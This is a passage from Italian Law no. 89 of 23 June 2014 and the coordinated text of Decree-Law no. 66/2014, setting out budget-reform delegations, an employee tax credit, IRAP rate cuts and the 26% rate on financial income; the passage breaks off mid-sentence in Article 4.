Legge 23 giugno 2014, n. 89, in G.U. n. 143 del 23.6.2014
Art. 1
1. Il decreto-legge 24 aprile 2014, n. 66, recante misure urgenti
per la competitivita’ e la giustizia sociale, e’ convertito in legge
con le modificazioni riportate in allegato alla presente legge.
2. Fermo restando quanto previsto dall’articolo 2 della legge 31
dicembre 2009, n. 196, in materia di armonizzazione dei sistemi
contabili e degli schemi di bilancio delle amministrazioni pubbliche,
il Governo e’ delegato ad adottare, entro il 31 dicembre 2015, uno o
piu’ decreti legislativi per il completamento della riforma della
struttura del bilancio dello Stato con particolare riguardo alla
riorganizzazione dei programmi di spesa e delle missioni e alla
programmazione delle risorse, assicurandone una maggiore certezza,
trasparenza e flessibilita’, nel rispetto dei principi e criteri
direttivi di cui all’articolo 40, comma 2, della citata legge n. 196
del 2009.
3. Gli schemi dei decreti legislativi di cui al comma 2 sono
trasmessi alla Camera dei deputati e al Senato della Repubblica
affinche’ su di essi sia espresso il parere delle Commissioni
parlamentari competenti per materia, limitatamente agli stati di
previsione di rispettivo interesse, e per i profili finanziari, entro
sessanta giorni dalla trasmissione. Decorso tale termine, i decreti
possono essere comunque adottati. Il Governo, qualora non intenda
conformarsi ai pareri parlamentari, ritrasmette i testi alle Camere
con le proprie osservazioni e con eventuali modificazioni e rende
comunicazioni davanti a ciascuna Camera. Decorsi trenta giorni dalla
data della nuova trasmissione, i decreti possono essere comunque
adottati in via definitiva dal Governo.
4. Entro due anni dalla data di entrata in vigore dei decreti
legislativi di cui al comma 2, possono essere adottate disposizioni
correttive e integrative dei medesimi decreti legislativi, nel
rispetto dei principi e criteri direttivi e con le stesse modalita’
previsti dai commi 2 e 3.
5. Ai fini del riordino della disciplina per la gestione del
bilancio dello Stato e del potenziamento della funzione del bilancio
di cassa, ferma rimanendo la redazione anche in termini di
competenza, il Governo e’ delegato ad adottare, entro il 31 dicembre
2015, un decreto legislativo nel rispetto dei principi e criteri
direttivi di cui all’articolo 42, comma 1, della citata legge n. 196
del 2009.
6. Lo schema del decreto legislativo di cui al comma 5 e’ trasmesso
alla Camera dei deputati e al Senato della Repubblica affinche’ su di
esso sia espresso il parere delle Commissioni parlamentari competenti
entro sessanta giorni dalla trasmissione. Decorso tale termine, il
decreto puo’ essere comunque adottato. Qualora il termine per
l’espressione del parere scada nei trenta giorni che precedono la
scadenza del termine finale per l’esercizio della delega o
successivamente, quest’ultimo e’ prorogato di novanta giorni. Il
Governo, qualora non intenda conformarsi ai pareri parlamentari,
ritrasmette i testi alle Camere con le proprie osservazioni e con
eventuali modificazioni e rende comunicazioni davanti a ciascuna
Camera. Decorsi trenta giorni dalla data della nuova trasmissione, il
decreto puo’ essere comunque adottato in via definitiva dal Governo.
7. Entro dodici mesi dalla data di entrata in vigore del decreto
legislativo di cui al comma 5, possono essere adottate disposizioni
integrative e correttive del medesimo decreto legislativo, nel
rispetto dei principi e criteri direttivi e con le medesime modalita’
previsti dai commi 5 e 6.
8. Il Governo e’ delegato ad adottare, entro il 31 dicembre 2016,
un decreto legislativo recante un testo unico delle disposizioni in
materia di contabilita’ di Stato nonche’ in materia di tesoreria, nel
rispetto dei principi e criteri direttivi di cui all’articolo 50,
comma 2, della citata legge n. 196 del 2009.
9. Lo schema del decreto legislativo di cui al comma 8 e’ trasmesso
alla Camera dei deputati e al Senato della Repubblica perche’ su di
esso siano espressi, entro sessanta giorni dalla data di
trasmissione, i pareri delle Commissioni competenti per materia e per
i profili finanziari. Decorso tale termine, il decreto e’ adottato
anche in mancanza dei pareri. Il Governo, qualora non intenda
conformarsi ai pareri parlamentari, ritrasmette il testo alle Camere
con le proprie osservazioni e con eventuali modificazioni e rende
comunicazioni davanti a ciascuna Camera. Decorsi trenta giorni dalla
data della nuova trasmissione, il decreto puo’ comunque essere
adottato in via definitiva dal Governo.
10. Entro dodici mesi dalla data di entrata in vigore del decreto
di cui al comma 8, il Governo puo’ adottare, attraverso le procedure
di cui ai commi 8 e 9 e sulla base dei principi e criteri direttivi
di cui al comma 8, disposizioni integrative e correttive del decreto
medesimo.
11. All’articolo 16 della legge 11 marzo 2014, n. 23, il comma 1 e’
sostituito dai seguenti:
«1. Dall’attuazione della delega di cui all’articolo 1 non devono
derivare nuovi o maggiori oneri a carico della finanza pubblica, ne’
un aumento della pressione fiscale complessiva a carico dei
contribuenti. In considerazione della complessita’ della materia
trattata e dell’impossibilita’ di procedere alla determinazione degli
eventuali effetti finanziari, per ciascuno schema di decreto
legislativo la relazione tecnica di cui all’articolo 1, comma 6,
evidenzia i suoi effetti sui saldi di finanza pubblica. Qualora uno o
piu’ decreti legislativi determinino nuovi o maggiori oneri, che non
trovino compensazione nel proprio ambito, si provvede ai sensi
dell’articolo 17, comma 2, della legge n. 196 del 2009 ovvero
mediante compensazione con le risorse finanziarie recate dai decreti
legislativi adottati ai sensi della presente legge, presentati prima
o contestualmente a quelli che comportano i nuovi o maggiori oneri. A
tal fine le maggiori entrate confluiscono in un apposito fondo
istituito nello stato di previsione del Ministero dell’economia e
delle finanze.
1-bis. I decreti legislativi di cui al comma 1 che recano maggiori
oneri entrano in vigore contestualmente o successivamente a quelli
che recano la necessaria copertura finanziaria».
12. La presente legge entra in vigore il giorno successivo a quello
della sua pubblicazione nella Gazzetta Ufficiale.
(Si omette la pubblicazione delle modificazioni di cui all’allegato in quanto sono state evidenziate mediante il carattere corsivo nel testo coordinato sotto riportato. Il testo del D.L. 24 aprile 2014, n. 66, è stato pubblicato nel fascicolo n. 8/2014, 607).
Testo del decreto-legge 24 aprile 2014, n. 66, coordinato con la legge di conversione 23 giugno 2014, n. 89, recante: «Misure urgenti per la competitivita’ e la giustizia sociale. Deleghe al Governo per il completamento della revisione della struttura del bilancio dello Stato, per il riordino della disciplina per la gestione del bilancio e il potenziamento della funzione del bilancio di cassa, nonche’ per l’adozione di un testo unico in materia di contabilita’ di Stato e di tesoreria.».
(Testo coordinato a cura del Min. grazia e giustizia in G.U. n. 143 del 23.6.2014)
TITOLO I
RIDUZIONI DI IMPOSTE E NORME FISCALI
CAPO I
RILANCIO DELL’ECONOMIA ATTRAVERSO LA RIDUZIONE DEL CUNEO FISCALE
Art. 1
Riduzione del cuneo fiscale per lavoratori dipendenti e assimilati
1. In attesa dell’intervento normativo strutturale da attuare con
la legge di stabilita’ per l’anno 2015, nel quale saranno
prioritariamente previsti interventi di natura fiscale che
privilegino, con misure appropriate, il carico di famiglia e, in
particolare, le famiglie monoreddito con almeno due o piu’ figli a
carico, e mediante l’utilizzo della dotazione del fondo di cui
all’articolo 50, comma 6, al fine di ridurre nell’immediato la
pressione fiscale e contributiva sul lavoro e nella prospettiva di
una complessiva revisione del prelievo finalizzata alla riduzione
strutturale del cuneo fiscale, finanziata con una riduzione e
riqualificazione strutturale e selettiva della spesa pubblica,
all’articolo 13 del testo unico delle imposte sui redditi, di cui al
decreto del Presidente della Repubblica 22 dicembre 1986, n. 917,
dopo il comma 1 e’ inserito il seguente:
«1-bis. Qualora l’imposta lorda determinata sui redditi di cui agli
articoli 49, con esclusione di quelli indicati nel comma 2, lettera
a), e 50, comma 1, lettere a), b), c), c-bis), d), h-bis) e l), sia
di importo superiore a quello della detrazione spettante ai sensi del
comma 1, e’ riconosciuto un credito, che non concorre alla formazione
del reddito, di importo pari:
1) a 640 euro, se il reddito complessivo non e’ superiore a 24.000
euro;
2) a 640 euro, se il reddito complessivo e’ superiore a 24.000 euro
ma non a 26.000 euro. Il credito spetta per la parte corrispondente
al rapporto tra l’importo di 26.000 euro, diminuito del reddito
complessivo, e l’importo di 2.000 euro.».
2. Il credito di cui al comma precedente e’ rapportato al periodo
di lavoro nell’anno.
3. Le disposizioni di cui al comma 1 si applicano per il solo
periodo d’imposta 2014.
4. Per l’anno 2014, i sostituti d’imposta di cui agli articoli 23 e
29 del decreto del Presidente della Repubblica 29 settembre 1973, n.
600, riconoscono il credito eventualmente spettante ai sensi
dell’articolo 13 del testo unico delle imposte sui redditi, di cui al
decreto del Presidente della Repubblica 22 dicembre 1986, n. 917,
come modificato dal presente decreto, ripartendolo fra le
retribuzioni erogate successivamente alla data di entrata in vigore
del presente decreto, a partire dal primo periodo di paga utile.
Il credito di cui al primo periodo e’ riconosciuto, in via
automatica, dai sostituti d’imposta.
5. Il credito di cui all’articolo 13, comma 1-bis, del testo unico
delle imposte sui redditi, di cui al decreto del Presidente della
Repubblica 22 dicembre 1986, n. 917, e’ attribuito sugli emolumenti
corrisposti in ciascun periodo di paga rapportandolo al periodo
stesso. Le somme erogate ai sensi del comma 1 sono recuperate dal
sostituto d’imposta mediante l’istituto della compensazione di cui
all’articolo 17 del decreto legislativo 9 luglio 1997, n. 241. Gli
enti pubblici e le amministrazioni dello Stato possono recuperare le
somme erogate ai sensi del comma 1 anche mediante riduzione dei
versamenti delle ritenute e, per l’eventuale eccedenza, dei
contributi previdenziali. In quest’ultimo caso l’INPS e gli altri
enti gestori di forme di previdenza obbligatorie interessati
recuperano i contributi non versati alle gestioni previdenziali
rivalendosi sulle ritenute da versare mensilmente all’Erario. Con
riferimento alla riduzione dei versamenti dei contributi
previdenziali conseguente all’applicazione di quanto previsto dal
presente comma, restano in ogni caso ferme le aliquote di computo
delle prestazioni. L’importo del credito riconosciuto e’ indicato
nella certificazione unica dei redditi di lavoro dipendente e
assimilati (CUD).
6. (Soppresso).
7. In relazione alla effettiva modalita’ di fruizione del credito
di cui ai precedenti commi, il Ministro dell’economia e delle finanze
e’ autorizzato ad apportare, con propri decreti, le necessarie
variazioni di bilancio compensative, anche tra l’entrata e la spesa,
al fine di consentirne la corretta rappresentazione contabile.
Art. 2
Disposizioni in materia di IRAP
1. A decorrere dal periodo d’imposta successivo a quello in corso
al 31 dicembre 2013, al decreto legislativo 15 dicembre 1997, n. 446,
sono apportate le seguenti modificazioni:
a) all’articolo 16, comma 1, le parole «l’aliquota del 3,9 per
cento» sono sostituite dalle seguenti: «l’aliquota del 3,50 per
cento»;
b) all’articolo 16, comma 1-bis, sono apportate le seguenti
modificazioni:
1) alla lettera a), le parole «l’aliquota del 4,20 per cento» sono
sostituite dalle seguenti: «l’aliquota del 3,80 per cento»;
2) alla lettera b), le parole «l’aliquota del 4,65 per cento» sono
sostituite dalle seguenti: «l’aliquota del 4,20 per cento»;
3) alla lettera c), le parole «l’aliquota del 5,90 per cento» sono
sostituite dalle seguenti: «l’aliquota del 5,30 per cento»;
c) all’articolo 45, comma 1, le parole «nella misura dell’1,9 per
cento» sono sostituite dalle seguenti: «nella misura del 1,70 per
cento».
2. Ai fini della determinazione dell’acconto relativo al periodo di
imposta successivo a quello in corso al 31 dicembre 2013 secondo il
criterio previsionale, di cui all’articolo 4 del decreto legge 2
marzo 1989, n. 69, convertito con modificazioni, dalla legge 27
aprile 1989, n. 154, in luogo delle aliquote di cui alle lettere a),
b), e c) del comma 1 applicabili al periodo di imposta successivo a
quello in corso al 31 dicembre 2013, si tiene conto, rispettivamente,
delle aliquote del 3,75; 4,00; 4,50; 5,70 e 1,80 per cento.
3. All’articolo 16, comma 3, del decreto legislativo 15 dicembre
1997, n. 446, le parole «fino ad un massimo di un punto percentuale»
sono sostituite dalle seguenti: «fino ad un massimo di 0,92 punti
percentuali».
4. Le aliquote dell’imposta regionale sulle attivita’ produttive
vigenti alla data di entrata in vigore del presente decreto, qualora
variate ai sensi dell’articolo 16, comma 3, del decreto legislativo
15 dicembre 1997, n. 446 e dell’articolo 5, comma 1, del decreto
legislativo 6 maggio 2011, n. 68, sono rideterminate applicando le
variazioni adottate alle aliquote previste dal comma 1 del presente
articolo.
CAPO II
TRATTAMENTO FISCALE DEI REDDITI DI NATURA FINANZIARIA E ALTRE
DISPOSIZIONI FISCALI
Art. 3
Disposizioni in materia di redditi di natura finanziaria
1. Le ritenute e le imposte sostitutive sugli interessi, premi e
ogni altro provento di cui all’articolo 44 del testo unico delle
imposte sui redditi, di cui al decreto del Presidente della
Repubblica 22 dicembre 1986, n. 917, e sui redditi diversi di cui
all’articolo 67, comma 1, lettere da c-bis) a c-quinquies), del
medesimo testo unico, ovunque ricorrano, sono stabilite nella misura
del 26 per cento.
2. La disposizione di cui al comma 1 non si applica sugli
interessi, premi e ogni altro provento di cui all’articolo 44 del
testo unico delle imposte sui redditi, di cui al decreto del
Presidente della Repubblica 22 dicembre 1986, n. 917, e sui redditi
diversi di cui all’articolo 67, comma 1, lettera c-ter), del medesimo
testo unico, relativi a:
a) obbligazioni e altri titoli di cui all’articolo 31 del decreto
del
Presidente della Repubblica 29 settembre 1973, n. 601 ed
equiparati;
b) obbligazioni emesse dagli Stati inclusi nella lista di cui al
decreto emanato ai sensi dell’articolo 168-bis, comma 1, del testo
unico n. 917 del 1986 e obbligazioni emesse da enti territoriali dei
suddetti Stati;
c) titoli di risparmio per l’economia meridionale di cui
all’articolo 8, comma 4, del decreto legge 13 maggio 2011, n. 70,
convertito, con modificazioni, dalla legge 12 luglio 2011, n. 106.
3. La disposizione di cui al comma 1 non si applica altresi’ agli
interessi di cui al comma 8-bis dell’articolo 26-quater del decreto
del Presidente della Repubblica 29 settembre 1973, n. 600, agli utili
di cui all’articolo 27, comma 3, secondo periodo, e comma 3-ter, del
decreto del Presidente della Repubblica 29 settembre 1973, n. 600, e
al risultato netto maturato delle forme di previdenza complementare
di cui al decreto legislativo 5 dicembre 2005, n. 252.
4. All’articolo 27, comma 3, ultimo periodo, del decreto del
Presidente della Repubblica 29 settembre 1973, n. 600, le parole: «di
un quarto» sono sostituite dalle seguenti: «degli undici
ventiseiesimi».
5. Al decreto legislativo 21 novembre 1997, n. 461, sono apportate
le seguenti modificazioni:
a) all’articolo 5, comma 2, l’ultimo periodo e’ sostituito dal
seguente: «Ai fini del presente articolo, i redditi diversi derivanti
dalle obbligazioni e dagli altri titoli di cui all’articolo 31 del
decreto del Presidente della Repubblica 29 settembre 1973, n. 601 ed
equiparati e dalle obbligazioni emesse dagli Stati inclusi nella
lista di cui al decreto emanato ai sensi dell’articolo 168-bis, comma
1, del medesimo testo unico n. 917 del 1986, e obbligazioni emesse da
enti territoriali dei suddetti Stati sono computati nella misura del
48,08 per cento dell’ammontare realizzato.»;
b) all’articolo 6, comma 1, l’ultimo periodo e’ sostituito dal
seguente: «Ai fini del presente articolo, i redditi diversi derivanti
dalle obbligazioni e dagli altri titoli di cui all’articolo 31 del
decreto del Presidente della Repubblica 29 settembre 1973, n. 601 ed
equiparati e dalle obbligazioni emesse dagli Stati inclusi nella
lista di cui al decreto emanato ai sensi dell’articolo 168-bis, comma
1, del medesimo testo unico n. 917 del 1986, e obbligazioni emesse da
enti territoriali dei suddetti Stati sono computati nella misura del
48,08 per cento dell’ammontare realizzato.»;
c) all’articolo 7, comma 4, l’ultimo periodo e’ sostituito dal
seguente: «Ai fini del presente comma, i redditi derivanti dalle
obbligazioni e dagli altri titoli di cui all’articolo 31 del decreto
del Presidente della Repubblica 29 settembre 1973, n. 601 ed
equiparati e dalle obbligazioni emesse dagli Stati inclusi nella
lista di cui al decreto emanato ai sensi dell’articolo 168-bis, comma
1, del testo unico delle imposte sui redditi, di cui al decreto del
Presidente della Repubblica 22 dicembre 1986, n. 917, e obbligazioni
emesse da enti territoriali dei suddetti Stati sono computati nella
misura del 48,08 per cento del loro ammontare.».
6. La misura dell’aliquota di cui al comma 1 si applica agli
interessi, ai premi e ad ogni altro provento di cui all’articolo 44
del testo unico delle imposte sui redditi, di cui al decreto del
Presidente della Repubblica 22 dicembre 1986, n. 917, divenuti
esigibili e ai redditi diversi di cui all’articolo 67, comma 1,
lettere da c-bis) a c-quinquies), del predetto testo unico realizzati
a decorrere dal 1 luglio 2014.
7. La misura dell’aliquota di cui al comma 1 si applica:
a) ai dividendi e ai proventi ad essi assimilati, percepiti dalla
data indicata al comma 6;
b) agli interessi e agli altri proventi derivanti da conti correnti
e depositi bancari e postali, anche se rappresentati da certificati,
nonche’ da obbligazioni, titoli similari e cambiali finanziarie di
cui all’articolo 26 del decreto del Presidente della Repubblica 29
settembre 1973, n. 600, maturati a decorrere dalla suddetta data.
8. Per le obbligazioni e i titoli similari di cui all’articolo 2,
comma 1, del decreto legislativo 1° aprile 1996, n. 239, la misura
dell’aliquota di cui al comma 1 si applica agli interessi, ai premi e
ad ogni altro provento di cui all’articolo 44 del testo unico delle
imposte sui redditi, di cui al decreto del Presidente della
Repubblica 22 dicembre 1986, n. 917, maturati a decorrere dal 1º
luglio 2014.
9. Ai fini dell’applicazione delle disposizioni di cui al comma 8,
per gli interessi e altri proventi soggetti all’imposta sostitutiva
di cui al decreto legislativo 1° aprile 1996, n. 239, gli
intermediari di cui all’articolo 2, comma 2, del medesimo decreto
provvedono ad effettuare addebiti e accrediti del conto unico di cui
all’articolo 3 del citato decreto alla data del 30 giugno 2014, per
le obbligazioni e titoli similari senza cedola o con cedola avente
scadenza non inferiore a un anno dalla data del 30 giugno 2014,
ovvero in occasione della scadenza della cedola o della cessione o
rimborso del titolo, per le obbligazioni e titoli similari diversi
dai precedenti. Per i titoli espressi in valuta estera si tiene conto
del valore del cambio alla data del 30 giugno 2014.
10. La misura dell’aliquota di cui al comma 1 si applica,
relativamente ai redditi di cui all’articolo 44, comma 1, lettera
g-bis), del testo unico delle imposte sui redditi, di cui al decreto
del Presidente della Repubblica 22 dicembre 1986, n. 917, e agli
interessi e ad altri proventi delle obbligazioni e dei titoli
similari di cui al decreto legislativo 1 aprile 1996, n. 239, dal
giorno successivo alla data di scadenza del contratto di pronti
contro termine stipulato anteriormente al 1º luglio 2014 e avente
durata non superiore a 12 mesi.
11. Per i redditi di cui all’articolo 44, comma 1, lettere
g-quater) e g-quinquies), del testo unico delle imposte sui redditi,
di cui al decreto del Presidente della Repubblica 22 dicembre 1986,
n. 917, derivanti da contratti sottoscritti fino al 30 giugno 2014,
la misura dell’aliquota di cui al comma 1 si applica sulla parte dei
suddetti redditi maturati a decorrere dal 1 luglio 2014.
12. Per i proventi di cui all’articolo 44, comma 1, lettera g), del
testo unico delle imposte sui redditi di cui al decreto del
Presidente della Repubblica 22 dicembre 1986, n. 917, e per i redditi
diversi di cui all’articolo 67, comma 1, lettera c-ter), del medesimo
decreto derivanti dalla partecipazione ad organismi di investimento
collettivo del risparmio, la misura dell’aliquota di cui al comma 1,
si applica sui proventi realizzati a decorrere dal 1 luglio 2014, in
sede di rimborso, cessione o liquidazione delle quote o azioni. Sui
proventi realizzati a decorrere dal 1 luglio 2014 e riferibili ad
importi maturati al 30 giugno 2014 si applica l’aliquota in vigore
fino al 30 giugno 2014.
13. Le minusvalenze, perdite e differenziali negativi di cui
all’articolo 67, comma 1, lettere da c-bis) a c-quater), del testo
unico delle imposte sui redditi, di cui al decreto del Presidente
della Repubblica 22 dicembre 1986, n. 917, sono portati in deduzione
dalle plusvalenze e dagli altri redditi diversi di cui all’articolo
67, comma 1, lettere da c-bis) a c-quinquies), del citato testo
unico, realizzati successivamente alla data del 30 giugno 2014, con
le seguenti modalita’:
a) per una quota pari al 48,08 per cento, se sono realizzati fino
alla data del 31 dicembre 2011;
b) per una quota pari al 76,92 per cento, se sono realizzati dal 1º
gennaio 2012 al 30 giugno 2014. Restano fermi i limiti temporali di
deduzione previsti dagli articoli 68, comma 5, del medesimo testo
unico e 6, comma 5, del decreto legislativo 21 novembre 1997, n. 461.
14. Per le gestioni individuali di portafoglio di cui all’articolo
7 del decreto legislativo 21 novembre 1997, n. 461, la misura
dell’aliquota di cui al comma 1 si applica sui risultati maturati a
decorrere dal 1 luglio 2014. Dai risultati di gestione maturati a
decorrere dal 1 luglio 2014 sono portati in deduzione i risultati
negativi di gestione rilevati alla data del 31 dicembre 2011 e non
compensati alla data del 30 giugno 2014, per una quota pari al 48,08
per cento del loro ammontare, e quelli rilevati nel periodo compreso
tra il 1º gennaio 2012 e il 30 giugno 2014, non compensati alla data
del 30 giugno 2014, per una quota pari al 76,92 per cento del loro
ammontare. Restano fermi i limiti temporali di utilizzo dei risultati
negativi di gestione previsti dall’articolo 7, comma 10, del decreto
legislativo 21 novembre 1997, n. 461. L’imposta sostitutiva sul
risultato maturato alla data del 30 giugno 2014 e’ versata nel
termine ordinario di cui al comma 11 dell’articolo 7 del decreto
legislativo 21 novembre 1997, n. 461.
15. A decorrere dal 1 luglio 2014, agli effetti della
determinazione delle plusvalenze e minusvalenze di cui all’articolo
67, comma 1, lettere da c-bis) a c-quinquies), del testo unico delle
imposte sui redditi, di cui al decreto del Presidente della
Repubblica 22 dicembre 1986, n. 917, in luogo del costo o valore di
acquisto, o del valore determinato ai sensi dell’articolo 14, commi 6
e seguenti, del decreto legislativo 21 novembre 1997, n. 461 o
dell’articolo 2, commi 29 e seguenti, del decreto legge 13 agosto
2011, n. 138, convertito, con modificazioni, dalla legge 14 settembre
2011 n. 148, puo’ essere assunto il valore dei titoli, quote,
diritti, valute estere, metalli preziosi allo stato grezzo o
monetato, strumenti finanziari, rapporti e crediti alla data del 30
giugno 2014, a condizione che il contribuente:
a) opti per la determinazione, alla stessa data, delle plusvalenze,
delle minusvalenze relative ai predetti titoli, strumenti finanziari,
rapporti e crediti, escluse quelle derivanti dalla partecipazione ad
organismi di investimento collettivo del risparmio di cui
all’articolo 67, comma 1, lettera c-ter), del citato testo unico;
b) provveda al versamento dell’imposta sostitutiva eventualmente
dovuta nella misura del 20 per cento, secondo i criteri stabiliti nel
comma 16.
16. Nel caso di cui all’articolo 5 del decreto legislativo 21
novembre 1997, n. 461, l’opzione di cui al comma 15 si estende a
tutti i titoli e strumenti finanziari detenuti alla data del 30
giugno 2014, tenendo conto delle minusvalenze realizzate e non ancora
compensate a tale data; l’imposta sostitutiva dovuta e’ corrisposta
entro il 16 novembre 2014. L’ammontare del versamento e le
compensazioni tra minusvalenze e plusvalenze maturate entro il 30
giugno 2014 vanno indicati nella dichiarazione dei redditi relativa
al periodo di imposta 2014. Nel caso di cui all’articolo 6 del
medesimo decreto legislativo, l’opzione e’ resa mediante apposita
comunicazione all’intermediario entro il 30 settembre 2014 e si
estende a tutti i titoli, quote o certificati inclusi nel rapporto di
custodia o amministrazione, posseduti alla data del 30 giugno 2014
nonche’ alla data di esercizio dell’opzione; l’imposta sostitutiva e’
versata dagli intermediari entro il 16 novembre 2014, ricevendone
provvista dal contribuente.
17. Le minusvalenze, perdite e differenziali negativi di cui
all’articolo 67, comma 1, lettere da c-bis) a c-quinquies), del testo
unico delle imposte sui redditi, di cui al decreto del Presidente
della Repubblica 22 dicembre 1986, n. 917, derivanti dall’esercizio
delle opzioni di cui ai commi 15 e 16 sono portati in deduzione dalle
plusvalenze e dagli altri redditi diversi di cui all’articolo 67,
comma 1, lettere da c-bis) a c-quinquies), del citato testo unico,
realizzati successivamente al 30 giugno 2014, per una quota pari al
76,92 per cento del loro ammontare, ovvero per una quota pari al
48,08 per cento qualora si tratti di minusvalenze, perdite e
differenziali negativi realizzati fino alla data del 31 dicembre 2011
e non compensate in sede di applicazione dell’imposta dovuta a
seguito dell’esercizio delle suindicate opzioni.
18. Le disposizioni di cui ai commi da 15 a 17 non si applicano per
i titoli indicati nel comma 2, lettere a) e b).
Art. 4
Disposizioni di coordinamento e modifiche alla legge 27 dicembre
2013, n. 147
1. Le disposizioni di cui all’articolo 3 hanno effetto a decorrere
dal 1 luglio 2014. Ai fini dell’applicazione del citato articolo 3,
rilevano, in quanto compatibili, i decreti del Ministro dell’economia
e delle finanze 13 dicembre 2011, emanati ai sensi dell’articolo 2,
commi 13, lettera b), 23, 26 e 34 del decreto-legge 13 agosto 2011,
n. 138. convertito, con modificazioni, dalla legge 14 settembre 2011,
n. 148, nonche’ le eventuali integrazioni degli stessi disposte con
successivi decreti del Ministro dell’economia e delle finanze.
2. E’ abrogato il comma 2 dell’articolo 4 del decreto-legge 28
giugno 1990, n. 167 convertito, con modificazioni, dalla legge 4
agosto 1990, n. 227.
3. Sono abrogati gli ultimi due periodi del comma 4 dell’articolo
13 del decreto legislativo 4 marzo 2014, n. 44.
4. All’articolo 26-quinquies del decreto del Presidente della
Repubblica 29 settembre 1973, n. 600, dopo il comma 5 e’ inserito il
seguente: «5-bis. La ritenuta di cui al comma 1 non si applica sui
proventi spettanti alle imprese di assicurazione e relativi a quote o
azioni comprese negli attivi posti a copertura delle riserve
matematiche dei rami vita.».
5. All’articolo 10-ter della legge 23 marzo 1983, n. 77, dopo il
comma 4 e’ inserito il seguente: «4-bis. La ritenuta di cui ai commi
1 e 2 non si applica sui proventi spettanti alle imprese di
assicurazione e relativi a quote o azioni comprese negli attivi posti
a copertura delle riserve matematiche dei rami vita.».
6. All’articolo 2, comma 1, del decreto legislativo 1 aprile 1996,
n. 239, la lettera c) e’ sostituita dalla
seguente: «c) enti di cui all’articolo 73, comma 1, lettera c), e
quelli di cui all’articolo 74 del medesimo testo unico, n. 917 del
1986, esclusi gli organismi di investimento collettivo del
risparmio;».
6-bis. In attesa di armonizzare, a decorrere dal 2015, la
disciplina di tassazione dei redditi di natura finanziaria degli enti
previdenziali di cui al decreto legislativo 30 giugno 1994, n. 509, e
al decreto legislativo 10 febbraio 1996, n. 103, con quella relativa
alle forme pensionistiche e complementari di cui al decreto
legislativo 5 dicembre 2005, n. 252, a tali enti e’ riconosciuto un
credito d’imposta pari alla differenza tra l’ammontare delle ritenute
e imposte sostitutive applicate nella misura del 26 per cento sui
redditi di natura finanziaria relativi al periodo dal 1 luglio al 31
dicembre 2014, dichiarate e certificate dai soggetti intermediari o
dichiarate dagli enti medesimi e l’ammontare di tali ritenute e
imposte sostitutive computate nella misura del 20 per cento. Si tiene
conto dei criteri indicati nell’articolo 3, commi 6 e seguenti. Il
credito d’imposta va indicato nella dichiarazione dei redditi per il
2014, non concorre alla formazione del reddito ai fini delle imposte
sui redditi e del valore della produzione ai fini dell’imposta
regionale sulle attivita’ produttive, non rileva ai fini del rapporto
di cui agli articoli 61 e 109, comma 5, del testo unico delle imposte
sui redditi, di cui al decreto del Presidente della Repubblica 22
dicembre 1986, n. 917. Il credito d’imposta puo’ essere utilizzato a
decorrere dal 1 gennaio 2015 esclusivamente in compensazione, ai
sensi dell’articolo 17 del decreto legislativo 9 luglio 1997, n. 241.
Al credito d’imposta non si applicano i limiti di cui all’articolo 1,
comma 53, della legge 24 dicembre 2007, n. 244, e all’articolo 34
della legge 23 dicembre 2000, n. 388.
6-ter. Per l’anno 2014 l’aliquota prevista dall’articolo 17, comma
1, del decreto legislativo 5 dicembre 2005, n. 252, e’ elevata
all’11,50 per cento. Una quota delle maggiori entrate di cui al
presente comma, pari a 4 milioni di euro per l’anno 2015, confluisce
nel Fondo per interventi strutturali di politica economica di cui
all’articolo 10, comma 5, del decreto-legge 29 novembre 2004, n. 282,
convertito, con modificazioni, dalla legge 27 dicembre 2004, n. 307.
7. All’articolo 26, comma 3-bis, del decreto del Presidente della
Repubblica 29 settembre 1973, n. 600, primo periodo, le parole:
«ovvero con la minore aliquota prevista per i titoli di cui alle
lettere a) e b) del comma 7 dell’articolo 2 del decreto-legge 13
agosto 2011, n. 138, convertito, con modificazioni, dalla legge 14
settembre 2011, n. 148» sono sostituite con le seguenti: «ovvero con
la minore aliquota prevista per le obbligazioni e gli altri titoli di
cui all’articolo 31 del decreto del Presidente della Repubblica 29
settembre 1973, n. 601 ed equiparati e dalle obbligazioni emesse
dagli Stati inclusi nella lista di cui al decreto emanato ai sensi
dell’articolo 168-bis, comma 1, del medesimo testo unico n. 917 del
1986 e obbligazioni emesse da enti territoriali dei suddetti Stati.».
8. All’articolo 26-quinquies, comma 3, del decreto del Presidente
della Repubblica 29 settembre 1973, n. 600, dopo le parole: «e alle
obbligazioni emesse dagli Stati inclusi nella lista di cui al decreto
emanato ai sensi dell’articolo 168-bis del testo unico delle imposte
sui redditi approvato con il decreto del Presidente della Repubblica
22 dicembre 1986, n. 917» sono aggiunte le parole: «e alle
obbligazioni emesse da enti territoriali dei suddetti Stati».
9. All’articolo 10-ter, comma 2-bis, della legge 23 marzo 1983, n.
77, dopo le parole: «e alle obbligazioni emesse dagli Stati inclusi
nella lista di cui al decreto emanato ai sensi dell’articolo 168-bis,
comma 1, del testo unico delle imposte sui redditi approvato con il
decreto del Presidente della Repubblica 22 dicembre 1986, n. 917»
sono aggiunte le parole: «e alle obbligazioni emesse da enti
territoriali dei suddetti Stati».
10. All’articolo 2, comma 23, del decreto-legge 13 agosto 2011, n.
138, convertito, con modificazioni, dalla legge 14 settembre 2011, n.
148, dopo le parole: «e alle obbligazioni emesse dagli Stati inclusi
nella lista di cui al decreto emanato ai sensi dell’articolo 168-bis,
comma 1, del testo unico delle imposte sui redditi approvato con il
decreto del Presidente della Repubblica 22 dicembre 1986, n. 917»
sono aggiunte le parole: «e alle obbligazioni emesse da enti
territoriali dei suddetti Stati».
11. Il comma 145 dell’articolo 1 della legge 27 dicembre 2013,
n. 147 e’ sostituito dal seguente:
«145. Le imposte sostitutive di cui ai commi 142 e 143 sono versate
nel periodo d’imposta successivo a quello in corso al 31 dicembre
2013 in tre rate di pari importo, senza pagamento di interessi, di
cui la prima entro il giorno 16 del sesto mese dalla fine del periodo
d’imposta, la seconda entro il giorno 16 del nono mese dalla fine del
periodo d’imposta e la terza entro il giorno 16 del dodicesimo mese
dalla fine del periodo d’imposta. Gli importi da versare possono
essere compensati ai sensi del decreto legislativo 9 luglio 1997, n.
241.».
12. Il comma 148 dell’articolo 1 della legge 27 dicembre 2013, n.
147 e’ sostituito dal seguente: «148. Ai maggiori valori iscritti nel
bilancio relativo all’esercizio in corso al 31 dicembre 2013, per
effetto dell’articolo 6, comma 6, del decreto-legge 30 novembre 2013,
n. 133, convertito, con modificazioni, dalla legge 29 gennaio 2014,
n. 5, si applica un’imposta sostitutiva delle imposte sui redditi e
dell’imposta regionale sulle attivita’ produttive e di eventuali
